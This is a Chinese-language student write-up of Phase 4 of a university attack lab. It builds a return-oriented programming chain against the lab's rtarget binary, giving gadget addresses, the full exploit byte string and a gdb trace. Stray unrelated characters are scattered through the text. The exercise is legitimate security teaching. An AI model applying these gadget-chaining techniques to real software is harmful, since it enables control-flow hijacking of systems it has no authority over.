Phase 4
phase 4 重做 level 2,but with rtarget and gadget used.
回憶一下level 2, 只需完成
mov cookie, %rdi
ret
先看 recitation 給的例子,比如我們想把 0xBBBBBBBB 放到 %rbx 中,然后再把它移到 %rax 中:
我們利用了兩個 gargets:
- address1: mov %rbx, %rax;
- ret address2: pop %rbx; ret
實際上的 buffer 是這樣的:
+------------------------|
|Next address in ROP Chain
+------------------------|
|Address 1 |
+------------------------+
|0xBBBBBBBB |
+------------------------+
|Address 2 |Old Return address
+------------------------+
|0xFFFFFFF |
|0xFFFFFFF |
|0xFFFFFFF |
|0xFFFFFFF |
|0xFFFFFFF |
|0xFFFFFFF |
|0xFFFFFFF |
|0xFFFFFFF |
|0xFFFFFFF(filler...) |
+------------------------+
看 lab 給的提示和限制:
- 只允許前八個 registers: %rax - %rdi
- 只允許以下操作 movq, popq, ret, nop
- start_farm 到 mid_farm 足夠雇锡,用兩個 gadgets
- 當使用 popq 時,data 也會從 stack 中 pop 出來厂财,exploit string 會包含 gadget address 和 data.
按照提示摩钙,
- gcc -c farm.c
- objdump -d farm.o
尋找沒有 pop %rdi, 跟 %rdi 有關的mov 只有 movq %rax, %rdi 48 89 c7, 能找到 pop %rax 58.
在函數 getval_280 中 能找到 58 90 c3, 這就是我們需要用的 pop %rax, 在 objdump -d rtarget 中能找到 58 90 c3 在 0x4019cc 處,先嘗試如下:
// rtarget.12.txt
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 cc 19 40 00 00 00 00 00
發(fā)現可以到達 getval-280, 再根據給的hint贪薪,這里需要把跟 0xBBBBBBBB 類似的cookie 放到這個后面媳禁,然后繼續(xù)跟 movq %rax, %rdi, 我們能找到在 setval-426 處,后面跟的是 48 89 c7 90 c3, 正是我們需要的画切,再跟上 touch2 的地址竣稽,code部分并沒有變,只是 stack 被 random了霍弹。
所以寫下來
// rtarget.12.txt
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 cc 19 40 00 00 00 00 00 /* pop %rax, ret*/ fa 97 b9 59 00 00 00 00 /*cookie value*/ c5 19 40 00 00 00 00 00 /* movq %rax, %rdi, ret */ ec 17 40 00 00 00 00 00 /*touch2 begin */
實際上我們設置breakpoints 在getbuf 的最后一句毫别,然后開始運行的時候:
r -q -i rtarget.12-raw.txt
stepi
// 提示我們到達這里 0x00000000004019cc in getval_280 ()
stepi
stepi
info registers
// rax已經變化 rax 0x59b997fa
stepi
// 提示我們到達 0x00000000004019c5 in setval_426 ()
stepi
stepi
stepi
// rdi 0x59b997fa
stepi
// touch2 (val=1505335290) at visible.c:40
phase 4 解決,更多關于 ROP 也可以參見: Introduction to return oriented programming (ROP)
Phase 5
phase 5 重做 level 3, 文檔里這樣寫: “ If you have other pressing obligations consider stopping right now.”
so 暫時先 stop phase 5.